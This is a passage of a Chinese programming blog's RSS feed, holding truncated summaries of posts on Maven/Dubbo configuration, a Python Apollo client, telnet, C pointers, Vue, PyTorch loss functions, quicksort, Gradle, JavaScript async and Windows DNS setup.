&amp;lt;java.version&amp;gt;1.8&amp;lt;/java.version&amp;gt; &amp;lt;dubbo.version&amp;gt;3.0.7&amp;lt;/dubbo.version&amp;gt; &amp;lt;spring-boot.version&amp;gt;2.6.7&amp;lt;/spring-boot.version&amp;gt; &amp;lt;lombok.version&amp;gt;1.18.24&amp;lt;/lombok.version&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;dependencyManagement&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;!-- Spring Boot --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-dependencies&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${spring-boot.version}&amp;lt;/version&amp;gt; &amp;lt;type&amp;gt;pom&amp;lt;/type&amp;gt; &amp;lt;scope&amp;gt;import&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- dubbo --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.dubbo&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;dubbo-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${dubbo.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${lombok.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- nacos作注册中心--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.dubbo&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;dubbo-registry-nacos&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${dubbo.version}&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; &amp;lt;/dependencyManagement&amp;gt; &amp;lt;build&amp;gt; &amp;lt;plugins&amp;gt; &amp;lt;plugin&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-maven-plugin&amp;lt;/artifactId&amp;gt; &amp;lt;/plugin&amp;gt; &amp;lt;/plugins&amp;gt; &amp;lt;/build&amp;gt; &amp;lt;/project&amp;gt; 2、生产者依赖 &amp;lt;?</description>
    </item>
    <item>
      <title>Python系列： pyapollo连接apollo</title>
      <link>https://bchobby.github.io/posts/01b0cd00065ad8e6d53b22617b8f8552/</link>
      <pubDate>Sun, 30 Apr 2023 15:34:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/01b0cd00065ad8e6d53b22617b8f8552/</guid>
      <description>说明 pyapollo库使用时会报链接超时，所以这里不再使用。&#xA;功能类 #! /usr/bin/env python3 #-*- coding:utf-8 -*- import json import logging import sys import threading import time import requests class ApolloClient(object): def __init__(self, app_id, cluster=&#39;default&#39;, config_server_url=&#39;http://localhost:8080&#39;, interval=60, ip=None): self.config_server_url = config_server_url self.appId = app_id self.cluster = cluster self.timeout = 60 self.interval = interval self.init_ip(ip) self._stopping = False self._cache = {} self._notification_map = {&#39;application&#39;: -1} def init_ip(self, ip): if ip: self.ip = ip else: import socket try: s = socket.</description>
    </item>
    <item>
      <title>Linux命令(9)之telnet</title>
      <link>https://bchobby.github.io/posts/c2fa97ea1411ce5973fedd62921aea8e/</link>
      <pubDate>Sun, 30 Apr 2023 07:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c2fa97ea1411ce5973fedd62921aea8e/</guid>
      <description>Linux命令之telnet&#xA;Linux telnet命令，主要用于：&#xA;1.验证端口的连通性&#xA;2.telnet远端登入(不常用)&#xA;telnet语法格式：telnet 主机名称[或IP地址[&amp;lt;通信端口&amp;gt;]]&#xA;telnet常用参数 参数说明-l &amp;lt;用户名称&amp;gt;要登入远端主机的用户名称 实例：&#xA;1.验证端口的连通性 说明端口连通性正常。&#xA;2.登录远程主机(不常用) telnet 192.168.10.101</description>
    </item>
    <item>
      <title>C&#43;&#43; 学习——char * ,char a[ ],char ** ,char *a[] 的区别</title>
      <link>https://bchobby.github.io/posts/b1ec49a87b85c83535da51adeee4d9b0/</link>
      <pubDate>Sat, 29 Apr 2023 20:25:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b1ec49a87b85c83535da51adeee4d9b0/</guid>
      <description>C语言中由于指针的灵活性，导致指针能代替数组使用，或者混合使用，这些导致了许多指针和数组的迷惑，因此，刻意再次深入探究了指针和数组这玩意儿，其他类型的数组比较简单，容易混淆的是字符数组和字符指针这两个。&#xA;1.数组的本质 数组是多个元素的集合，在内存中分布在地址相连的单元中，所以可以通过其下标访问不同单元的元素。。&#xA;2.指针。 指针也是一种变量，只不过它的内存单元中保存的是一个标识其他位置的地址。。由于地址也是整数，在64位平台下，指针默认为8位。(32位平台下，指针默认为4位)&#xA;3.指针的指向 指向的直接意思就是指针变量所保存的其他的地址单元中所存放的数据类型。&#xA;int * p ;//p 变量保存的地址所在内存单元中的数据类型为整型 float *q;// q变量保存的地址所在内存单元中的数据类型为浮点型 不论指向的数据类型为那种，指针变量其本身永远为整型，因为它保存的地址。&#xA;字符串赋给一个指针变量&#xA;char *s ; s = &#34;China&#34;; 4.字符数组 char str[10]; //定义了一个有十个元素的数组，元素类型为字符 char str[10] = {&#34;hello world&#34;};//初始化 C语言中没有真正的字符串类型，可以通过字符数组表示字符串，因为它的元素地址是连续的，这就足够了。&#xA;C语言中字符串常量的本质表示其实是一个地址，规定数组代表数组所在内存位置的首地址，也是 str[0]的地址，即str = &amp;amp;str[0];&#xA;5.char * 与 char a[ ] char *s; char a[ ] ; a代表字符串的首地址，而s 这个指针也保存字符串的地址（其实首地址），即第一个字符的地址，这个地址单元中的数据是一个字符，&#xA;可以 s = a;但不能 a = s;&#xA;C语言中数组名可以复制给指针表示地址， 但是却不能赋给给数组名，它是一个常量类型，所以不能修改。。&#xA;当然也可以这样: char a [ ] = &#34;hello&#34;; char *s =a; for(int i= 0; i &amp;lt; strlen(a) ; i++) printf(&#34;</description>
    </item>
    <item>
      <title>安装了Volar插件vue文件没有显示Volar的图标</title>
      <link>https://bchobby.github.io/posts/a2dc8fed46d2c603c9b1538ae57f85c7/</link>
      <pubDate>Sat, 29 Apr 2023 18:52:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2dc8fed46d2c603c9b1538ae57f85c7/</guid>
      <description>vue3官网 推荐使用Volar来替换Vetur&#xA;一、安装Volar 安装Volar前：&#xA;安装Volar后：&#xA;二、安装Volar插件后，无法显示高亮 之前我安装Volar插件后，vue文件的&amp;lt;script&amp;gt;、&amp;lt;template&amp;gt;、&amp;lt;style&amp;gt;标签仍然是白色的，无法显示高亮，然后我把和vue相关的插件都卸载了，重新安装Volar插件就可以了。&#xA;三、安装了Volar插件，vue文件没有显示图标 解决办法：&#xA;点击vscode左下角的设置，搜索Split Editors，找到Volar，勾选下面圈出来的配置项&#xA;可以看到vue文件的右上角有下面这个图标：&#xA;点击那个图标，可以看到下面的代码效果：&amp;lt;template&amp;gt;标签的内容全部被复制到右侧面板，体现了Volar的拆分功能。</description>
    </item>
    <item>
      <title>Java电商秒杀系统项目笔记（不断完善中）</title>
      <link>https://bchobby.github.io/posts/5b2d3e5c770ff95f1de857fbc3eb91ec/</link>
      <pubDate>Sat, 29 Apr 2023 18:22:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b2d3e5c770ff95f1de857fbc3eb91ec/</guid>
      <description>主要业务包括用户的注册、登录；商品的创建、商品详细信息的展示、单个商品的详情与下单。采用前后端分离的设计思想，使用Ajax进行交互&#xA;后端：SpringBoot + Mybatis + Mysql + Redis + Nginx + RocketMQ&#xA;前端：Html + CSS + JS&#xA;部署在阿里云服务器上面。&#xA;项目源码地址：Gitee&#xA;MySQL数据库设计 主键查询：千万级别数据 = 1-10 毫秒唯一索引查询：千万级别数据 = 10-100 毫秒非唯一索引查询：千万级别数据 = 100-1000 毫秒无索引：百万条数据 = 1000 毫秒+ 表结构 用户信息表：user_info（id、name、gender、age、telephone）用户密码表：uesr_password（id、encrypte_password、user_id）商品信息表：item（id、title、price、description、sales、img_url）商品库存表：item_stock（id、stock、item_id）活动商品信息表：promo（id、promo_name、start_time、end_time、item_id、promo_item_price）订单信息表：order_info（id、user_id、item_id、promo_id、item_price、amount、order_price）序列号信息表：sequence_info（name、current_value、step）库存流水表：stock_log_id（stock_log_id、item_id、amount、status） 💡 用户信息表（user_info）存放用户的个人信息，用户密码表（uesr_password）存放用户加密后的密码。密码和用户的主表信息分开存储，一是方便管理、二是一般企业级项目中密码可能会由第三方管理平台托管。&#xA;💡 库存流水表（stock_log_id）用于在 RocketMQ 调用 checkLocalTransaction() 方法时判断消息的下一步操作（回滚还是提交）&#xA;系统设计 系统设计遵从领域模型的分层设计思想&#xA;接入层（View Object）：与前端对接的模型，隐藏内部实现，供展示的聚合模型。&#xA;View Object：返回给前端的业务模型，保证了 UI 只使用到需要展示的字段业务层（Domain Model）：领域模型，业务核心模型，拥有生命周期，贫血并以服务输出能力。&#xA;Domain Model：核心领域模型。在 Service 层组装了核心的领域模型，真正意义上处理业务逻辑的模型。数据层（Data Object）：数据模型，同数据库映射，用以 ORM 方式操作数据库的能力模型。&#xA;Data Object：与数据库字段一一映射。负责数据存储到 Service 层的数据传输 用户模块 otp 短信获取otp 用户注册用户登录（建立 token 和用户登录态之间的联系，存入 Redis 中，实现分布式会话的管理） 商品模块 商品创建商品列表页展示商品详情页展示（多级缓存的实现：先从本地缓存中查找商品详情数据，未命中本地缓存，再从 Redis 中查询数据，未命中 Redis，就查询数据库返回数据，并同步到 Redis 和本地缓存中）发布活动商品（该接口用于上架活动商品，并将商品库存同步到 Redis 中，同时设置秒杀大闸的限制数字（秒杀令牌的发放数量） 订单模块 生成验证码（将验证码存储到 Redis 中，用于和用户输入的验证码进行校验）生成秒杀令牌（用户下单之前会调用此接口，获取秒杀令牌，拥有秒杀令牌的用户才能下单，秒杀令牌存放在 Redis 中）下单（RateLimiter 进行限流，校验用户登录信息，校验秒杀令牌信息。线程池队列泄洪，用来控制流量的大量涌入。初始化订单流水，之后就是真正的下单逻辑，使用 RocketMQ 事务型消息机制） ⭐️ 下单逻辑 用户点击商品详情页面的下单按钮，请求下单接口.</description>
    </item>
    <item>
      <title>图像分割模型性能的指标IOU与ACC</title>
      <link>https://bchobby.github.io/posts/d4af496fe67e44e2605c8fa2cd0c00d3/</link>
      <pubDate>Sat, 29 Apr 2023 17:13:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4af496fe67e44e2605c8fa2cd0c00d3/</guid>
      <description>IOU（Intersection over Union）和ACC（Accuracy）是两种用于评估图像分割模型性能的指标。 IOU是指分割结果与真实分割结果之间的交集与并集之比。在图像分割中，我们通常将每个像素的预测标签与真实标签进行比较，然后计算它们之间的IOU。具体来说，对于每个类别，我们可以计算出它们在分割结果和真实结果中的像素数目，并计算它们之间的交集和并集。然后，我们可以将交集除以并集，得到该类别的IOU。最后，我们可以将所有类别的IOU求平均，得到整个图像的平均IOU。IOU越高，说明分割结果与真实结果越接近，分割性能越好。&#xA;ACC是指分割结果中正确分类的像素数与总像素数之比。在图像分割中，我们通常将每个像素的预测标签与真实标签进行比较，然后计算它们之间的正确率。具体来说，我们可以统计分割结果中与真实结果相同的像素数目，然后将它们除以总像素数，得到分割的准确率。ACC越高，说明分割结果中正确分类的像素越多，分割性能越好。&#xA;总之，IOU和ACC都是用于评估图像分割模型性能的指标。IOU主要用于衡量分割结果与真实结果之间的重合度，ACC主要用于衡量分割结果中正确分类的像素数。虽然这两个指标在某些情况下会有冲突，但它们都可以提供有用的信息，帮助我们评估和改进图像分割算法的性能。&#xA;aAcc、mIoU和mAcc是三种常用的图像分割模型指标，用于评估模型在不同类别下的性能表现。 aAcc（Average Accuracy）是指模型在所有类别中的像素分类正确率的平均值。具体来说，对于每个类别，我们可以计算出它们在分割结果和真实结果中的像素数目，然后计算分类正确的像素数目，最后将所有类别的像素分类正确率求平均。aAcc可以用来评估模型整体的分类准确率，但它不能反映出不同类别之间的性能差异。&#xA;mIoU（Mean Intersection over Union）是指所有类别的IOU的平均值。在图像分割中，我们通常将每个像素的预测标签与真实标签进行比较，然后计算它们之间的IOU。对于每个类别，我们可以计算出它们在分割结果和真实结果中的像素数目，并计算它们之间的交集和并集。然后，我们可以将交集除以并集，得到该类别的IOU。最后，我们可以将所有类别的IOU求平均，得到整个图像的平均IOU。mIoU可以用来评估模型在不同类别之间的性能差异，越高表示模型在不同类别上的分割性能越好。&#xA;mAcc（Mean Accuracy）是指所有类别的像素分类正确率的平均值。具体来说，对于每个类别，我们可以计算出它们在分割结果和真实结果中的像素数目，然后计算分类正确的像素数目。最后，我们可以将所有类别的像素分类正确率求平均，得到整个图像的平均像素分类正确率。mAcc可以用来评估模型在不同类别之间的性能差异，并且能够反映出模型在像素分类方面的整体性能。&#xA;总之，aAcc、mIoU和mAcc都是常用的图像分割模型指标。aAcc用于评估模型整体的分类准确率，mIoU用于评估模型在不同类别之间的性能差异，mAcc用于评估模型在像素分类方面的整体性能。</description>
    </item>
    <item>
      <title>【Pytorch基础】torch.nn.CrossEntropyLoss损失函数介绍</title>
      <link>https://bchobby.github.io/posts/d08e907a5722d45929f470c91a506d88/</link>
      <pubDate>Sat, 29 Apr 2023 15:54:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d08e907a5722d45929f470c91a506d88/</guid>
      <description>目录 1 交叉熵的定义2 交叉熵的数学原理3 Pytorch交叉熵实现3.1 举个栗子3.2 Pytorch实现3.3 F.cross_entropy 4 参考文献 1 交叉熵的定义 交叉熵主要是用来判定实际的输出与期望的输出的接近程度，为什么这么说呢，举个例子：在做分类的训练的时候，如果一个样本属于第K类，那么这个类别所对应的输出节点的输出值应该为1，而其他节点的输出都为0，即[0,0,1,0,….0,0]，这个数组也就是样本的Label，是神经网络最期望的输出结果。也就是说用它来衡量网络的输出与标签的差异，利用这种差异经过反向传播去更新网络参数。参考文献【1】&#xA;2 交叉熵的数学原理 Pytorch常用的交叉熵损失函数CrossEntropyLoss()详解&#xA;3 Pytorch交叉熵实现 3.1 举个栗子 交叉熵损失，是分类任务中最常用的一个损失函数。在Pytorch中是基于下面的公式实现的。&#xA;Loss ⁡ ( x ^ , x ) = − ∑ i = 1 n x log ⁡ ( x ^ ) \operatorname{Loss}(\hat{x}, x)=-\sum_{i=1}^{n} x \log (\hat{x}) Loss(x^,x)=−i=1∑n​xlog(x^)&#xA;其中 x x x是真实标签, x ^ \hat{x} x^ 是预测的类分布（通常是使用softmax将模 型输出转换为概率分布)。&#xA;取单个样本举例， 假设 x 1 = [ 0 , 1 , 0 ] x_1=[0, 1, 0] x1​=[0,1,0], 模型预测样本 x 1 x_1 x1​的概率为 x 1 ^ = [ 0.</description>
    </item>
    <item>
      <title>【计算机考研408】快速排序的趟数问题 &#43; PAT 甲级 7-2 The Second Run of Quicksort</title>
      <link>https://bchobby.github.io/posts/2c33ebbd2c1572a1c3b74fd0452b5051/</link>
      <pubDate>Sat, 29 Apr 2023 12:21:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c33ebbd2c1572a1c3b74fd0452b5051/</guid>
      <description>前言 该题还未加入PAT甲级题库中，可以通过购买2022年秋季甲级考试进行答题，纯考研题改编&#xA;快速排序 常考的知识点 快速排序是基于分治法快速排序是所有内部排序算法中平均性能最优的排序算法快速排序是一种不稳定的排序算法快速排序算法中，不产生有序子序列，但每趟排序后会将枢轴元素放到其最终位置上 基于分治的思想，主要由两个步&#xA;1）划分&#xA;2）排序&#xA;代码 void QSort(int A[], int L, int R){ if(L &amp;gt;= R) return; int key = A[L + R &amp;gt;&amp;gt; 1];&#x9;//选取L，R中间的元素作为基准 int i = L - 1, j = R + 1; whiLe(i &amp;lt; j){ do i ++; whiLe(A[i] &amp;lt; key); //左指针右移，找到比基准大的数 do j --; whiLe(A[j] &amp;gt; key); //右指针左移，找到比基准小的数 if(i &amp;lt; j) swap(A,i,j);&#x9;//交换A[i]和A[j] } QSort(A, L ,j); QSort(A, j + 1, R); } void quicksort(int a[], int low, int high){ if (low &amp;lt; high){ int pos = partition(a, low, high); quicksort(a, low, pos-1); quicksort(a, pos+1, high); } } //partition是一趟排序 int partition(int a[], int low, int high){ int pos = a[low];//将表中第一个元素设置位枢轴 while(low &amp;lt; high){ //从右边找到第一个比枢轴值小的 while(low &amp;lt; high &amp;amp;&amp;amp; a[high] &amp;gt;= pos) --high; a[low] = a[high]; while(low &amp;lt; high &amp;amp;&amp;amp; a[low] &amp;gt;= pos) ++low; a[high] = a[low]; } a[low] = pos; return low; } 题源-2019年考研选择题 分析 两次排序，说明起码有两个中枢元素在最终的位置上，若小于两个元素在最终位置上，那么一定不是两趟快速排序若出现两个或者两个以上的元素位于最终位置上，那么起码有一个元素要位于序列的第一个位置或者是最后一个位置 注意题目中的提示，两种类型的题目，（1）分类讨论直接有结果的（2）模拟流程进行解答</description>
    </item>
    <item>
      <title>Gradle exclude排除指定依赖的办法</title>
      <link>https://bchobby.github.io/posts/a7181189c218b0357f8d1c588bc1cba5/</link>
      <pubDate>Sat, 29 Apr 2023 11:34:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a7181189c218b0357f8d1c588bc1cba5/</guid>
      <description> 在某些场景需要替换掉框架中自带的依赖，然后注入其他第三方依赖。&#xA;Maven工程很容易实现这一点，只要简单修改pom文件就行了。&#xA;但是在gradle当中应该如何实现？&#xA;由于gradle官方文档实在写的太烂，很难从中找到理想的答案。&#xA;然后谷歌搜索了很多资料，也没有看到想要的东西，最后查阅大量的资料以后，然后通过多次试验终于找到了有效的解决办法：&#xA;在build.gradle文件中加入以下内容：&#xA;configurations.implementation { exclude group: &#39;${GroupId}&#39; module: &#39;${$artifactId}&#39; // 例如下面的这样： exclude group: &#39;com.fasterxml.jackson.core&#39;, module: &#39;jackson-databind&#39; //} 解释一下：exclude后面的group相当于maven中的groupId, module相当于maven中的artifactId&#xA;注意： 这里不可以使用exclude的kotlin函数式写法 ！下面的写法是无效的！&#xA;//注意： 下面的kotlin函数式写法是无效的 exclude(group: &#39;org.springframework.boot&#39;, module: &#39;spring-boot-starter-json&#39;) 然后看效果, exclude之前：&#xA;exclude以后： </description>
    </item>
    <item>
      <title>＜ 每日小技巧： 基于Vue状态的过渡动画 - Transition 和 TransitionGroup＞</title>
      <link>https://bchobby.github.io/posts/0e9c8e5dc2946024d51a868b79169072/</link>
      <pubDate>Sat, 29 Apr 2023 10:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0e9c8e5dc2946024d51a868b79169072/</guid>
      <description>》基于Vue状态的过渡动画 - Transition 和 TransitionGroup 👉 一、Vue Transition 简介&amp;gt; Transition 和 TransitionGroup 之间的区别 👉 二、`&amp;lt;Transition&amp;gt;` 组件&amp;gt; 触发 `&amp;lt;Transition&amp;gt;` 组件的场景：&amp;gt; 基于 CSS 的过渡效果&amp;gt; 基础案例&amp;gt; 进阶案例&amp;gt; 自定义过渡 class&amp;gt; 过渡动画 - JavaScript 钩子 （Events） 👉 三、`&amp;lt;TransitionGroup&amp;gt;` 组件&amp;gt; 基于 CSS 的过渡效果&amp;gt; 基础案例 📃 梳理文献往期内容 💨 👉 一、Vue Transition 简介 Vue 提供了两个内置组件，可以帮助用户制作基于状态（v-if / v-show）变化的过渡和动画：&#xA;&amp;lt;Transition&amp;gt; 会在一个元素或组件进入和离开 DOM 时应用动画。本章节会介绍如何使用它。&#xA;&amp;lt;TransitionGroup&amp;gt; 会在一个 v-for 列表中的元素或组件被插入，移动，或移除时应用动画。&#xA;&amp;gt; Transition 和 TransitionGroup 之间的区别 &amp;lt;TransitionGroup&amp;gt; 支持和 &amp;lt;Transition&amp;gt; 基本相同的 props、CSS 过渡 class 和 JavaScript 钩子监听器，但有以下几点区别：</description>
    </item>
    <item>
      <title>JavaScript中的异步编程</title>
      <link>https://bchobby.github.io/posts/1565ec8361eefaec6f1d564bf2d0d8e7/</link>
      <pubDate>Fri, 28 Apr 2023 19:12:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1565ec8361eefaec6f1d564bf2d0d8e7/</guid>
      <description>当我们在编写JavaScript代码时，经常会遇到需要执行长时间运行的任务的情况，例如从服务器获取数据或进行复杂的计算。在这些情况下，我们不希望阻塞用户界面，因为这会使网站看起来卡顿，甚至无响应。为了避免这种情况，我们需要使用JavaScript中的异步编程技术。&#xA;异步编程是JavaScript中的一个核心概念，它使我们能够在执行长时间运行的任务时不会阻塞用户界面，而是在任务完成后立即返回结果。本文将介绍JavaScript中的异步编程方式，并探讨它们的优缺点，以及如何使用它们来解决常见的异步编程问题。&#xA;一、回调函数&#xA;回调函数是JavaScript中最早和最基本的异步编程方式。它通过在函数参数中传递一个函数，让我们能够在异步操作完成后调用该函数。例如，我们可以使用XMLHttpRequest对象从服务器获取数据：&#xA;var xhr = new XMLHttpRequest(); xhr.open(&#39;GET&#39;, &#39;https://example.com/data&#39;); xhr.onreadystatechange = function() { if (xhr.readyState === 4 &amp;amp;&amp;amp; xhr.status === 200) { console.log(xhr.responseText); } }; xhr.send(); 在上面的例子中，我们定义了一个XMLHttpRequest对象，然后使用open()方法设置请求的类型和URL。然后，我们为onreadystatechange属性指定了一个函数，当readyState属性变为4且状态码为200时，该函数将被调用。在该函数中，我们可以访问响应文本并在控制台中打印它。&#xA;虽然回调函数是JavaScript中最早和最基本的异步编程方式，但它有一些缺点。首先，如果我们需要进行嵌套异步操作，回调函数将变得非常复杂和难以理解。其次，回调函数容易出现回调地狱问题，这是指代码中有太多的回调函数，使得代码难以维护和扩展。&#xA;二、Promise&#xA;为了解决回调地狱问题，JavaScript引入了Promise，它是一种更加高级的异步编程方式。Promise通过将异步操作的结果封装在一个对象中，使得我们可以更加清晰和简洁地处理异步操作。例如，我们可以使用Promise从服务器获取数据：&#xA;fetch(&#39;https://example.com/data&#39;) .then(response =&amp;gt; response.text()) .then(text =&amp;gt; console.log(text)) .catch(error =&amp;gt; console.error(error)); 在上面的例子中，我们使用fetch()方法发起一个HTTP请求，并将其封装在一个Promise对象中。然后，我们使用.then()方法指定一个函数，当Promise对象的状态变为fulfilled时将被调用。在这个函数中，我们可以访问响应对象并将其转换为文本。然后，我们使用.then()方法指定另一个函数，当上一个Promise对象的状态变为fulfilled时将被调用。在这个函数中，我们可以访问响应文本并在控制台中打印它。最后，我们使用.catch()方法指定一个函数，当Promise对象的状态变为rejected时将被调用。在这个函数中，我们可以处理错误。&#xA;Promise还提供了一些其他的方法，如Promise.all()和Promise.race()。Promise.all()可以同时处理多个Promise对象，并在所有Promise对象都变为fulfilled时返回一个包含所有结果的数组。例如：&#xA;Promise.all([ fetch(&#39;https://example.com/data1&#39;), fetch(&#39;https://example.com/data2&#39;) ]) .then(responses =&amp;gt; Promise.all(responses.map(response =&amp;gt; response.text()))) .then(texts =&amp;gt; console.log(texts)) .catch(error =&amp;gt; console.error(error)); 在上面的例子中，我们使用Promise.all()方法同时发起两个HTTP请求，并将它们封装在一个数组中。然后，我们使用.then()方法指定一个函数，该函数将结果数组作为参数，并使用Promise.all()方法将结果数组中的所有响应对象转换为文本。最后，我们使用.then()方法指定另一个函数，该函数将文本数组作为参数并在控制台中打印它们。&#xA;Promise.race()可以处理多个Promise对象，并在第一个Promise对象变为fulfilled或rejected时返回它的结果。例如：&#xA;Promise.race([ new Promise(resolve =&amp;gt; setTimeout(() =&amp;gt; resolve(&#39;foo&#39;), 2000)), new Promise((resolve, reject) =&amp;gt; setTimeout(() =&amp;gt; reject(new Error(&#39;bar&#39;)), 1000)) ]) .</description>
    </item>
    <item>
      <title>几何图形的继承和派生</title>
      <link>https://bchobby.github.io/posts/446bc0b02caa1aa9fe7ff88d0cf20a6a/</link>
      <pubDate>Fri, 28 Apr 2023 18:43:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/446bc0b02caa1aa9fe7ff88d0cf20a6a/</guid>
      <description>【问题描述】已知下面Shape类的定义，在此基础上派生出Rectangle和Circle类，二者都有GetArea()函数，用于计算对象的面积。再使用Rectangle类创建一个派生类Square。&#xA;自行根据需要定义相关的成员，达到以下要求：&#xA;（1）达到以上题目所规定的类族要求。&#xA;（2）编写主函数，能够动态生成半径为5的圆对象的创建，并实现面积计算和输出。&#xA;（3）主函数中能动态生成长为4，宽为6的矩形对象创建，并实现面积计算和输出。&#xA;（4）主函数中能动态生成边为5的正方形对象创建，并实现面积计算和输出。&#xA;（5）完成上述动态对象的释放。&#xA;【输入形式】无输入。&#xA;【输出形式】分别输出指定圆、长方形和正方形的面积。&#xA;【样例输入】无输入&#xA;【样例输出】&#xA;The area of the Cirele is:78.5&#xA;The area of the Recanale is:24&#xA;The area of the Recanale is:25&#xA;【程序说明】该程序可使用虚函数相关的知识。&#xA;#include&amp;lt;bits/stdc++.h&amp;gt; using namespace std; #define PI 3.14 //抽象类 class Shape{ public : virtual double GetArea()=0;//纯虚函数 }; //矩形类 class Rectangle : public Shape { private : double chang,kuan; public : //构造函数 Rectangle(double c,double k) :chang(c),kuan(k){} double GetArea() { return chang*kuan;//派生类中需要重现虚函数 } }; //正方形类 class Square : public Rectangle {&#x9;public : Square(double bian) :Rectangle(bian,bian){} }; //圆类 class Circle : public Shape { private : double radius; public : Circle(double r) : radius(r){} double GetArea(){ return PI*radius*radius; } }; int main(){ Shape *shape1=new Circle (5);//动态生成 cout&amp;lt;&amp;lt;&#34;</description>
    </item>
    <item>
      <title>派生对象和基类对象指针的使用（类型兼容性规则）</title>
      <link>https://bchobby.github.io/posts/251a63a193301774d6e9b00a0b83c60c/</link>
      <pubDate>Fri, 28 Apr 2023 18:42:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/251a63a193301774d6e9b00a0b83c60c/</guid>
      <description>【问题描述】声明-个基类BaseClass,从它派生出类DerivedClass,BaseClass有成员2数fnl()、fn2(),DerivedClass也有成员函数fnl()、fn2(),在主函数中声明向DerivedClass的对象，分别用DerivedClass的对象以及BaseClass和DerivedClass的指针来调用fnl()、fn2(),观察运行结果。&#xA;【输入形式】无输入。&#xA;【输出形式】分别输出调用指定函数之后的指定信息。&#xA;【样例输入】无输入&#xA;【样例输出】&#xA;the fn1 founction of the DerivedClass&#xA;the fn2 founction of the DerivedClass&#xA;the fn1 founction of the baseclass&#xA;the fn2 founction of the baseclass&#xA;the fn1 founction of the DerivedClass&#xA;the fn2 founction of the DerivedClass&#xA;【程序说明】各个函数的实现中，只需要有相应的函数调用输出信息就可以了。&#xA;主函数中函数调用的依次为：DerivedClass对象调用函数fnl()、fn2()；BaseClass类型指针指向DerivedClass对象调用函数fnl()、fn2()；DerivedClass类型指针指向DerivedClass对象调用fnl()、fn2()；&#xA;需要仔细观察调用的输出信息，理解类型兼容性原则和指向对象的指针。&#xA;#include&amp;lt;iostream&amp;gt; using namespace std; //基类 class BaseClass { public: void fn1() { cout &amp;lt;&amp;lt; &#34;the fn1 founction of the baseclass\n&#34;; } void fn2() { cout &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>DNS服务器详细教程</title>
      <link>https://bchobby.github.io/posts/f660370b5622260f5162760c92846310/</link>
      <pubDate>Fri, 28 Apr 2023 17:20:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f660370b5622260f5162760c92846310/</guid>
      <description>1. 安装DNS服务器。单击“开始→控制面板→添加或删除程序→添加或删除windows组件→选中网络服务→点击下面的详细信息→域名系统（DNS）→确定”。 2. 配置DNS服务器。 （1）新建正向查找区域。点击“服务器→右击正向查找区域→新建区域”，设置区域名称html.com，后面的直接下一步；&#xA;（2）新建主机。右击区域名称（html.com）→新建主机，设置名称：www，IP地址：192.168.1.201；&#xA;（3）新建反向查找区域。右击反向查找区域→新建区域，设置网络ID：192.168.1，直接下一步；&#xA;（4）新建指针。右击区域（192.168.1.X Subnet），设置主机IP号：201，主机名：www（点击浏览，一直双击，然后选择www）；&#xA;3. 设置Windows Server 2003的网络IP（虚拟机），IP和DNS：192.168.1.201，子网掩码：255.255.255.0； 4. 设置物理主机的IP地址（VMnet8）。点击任务栏右边的网络图标→网络和Internet设置→更改适配器设置→右击VMnet8→属性→双击IPv4，设置IP：192.168.1.10，网关：192.168.1.0，子网掩码：255.255.255.0，DNS：192.168.1.201。 5. 测试 （1）ping www.html.com或ping 192.168.1.201；&#xA;（2）nslookup www.html.com 或 nslookup 192.168.1.201；</description>
    </item>
    <item>
      <title>el-table让选中的行变色，几种情况</title>
      <link>https://bchobby.github.io/posts/6b1cd30273a8d7044cb0319925af081e/</link>
      <pubDate>Fri, 28 Apr 2023 15:56:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b1cd30273a8d7044cb0319925af081e/</guid>
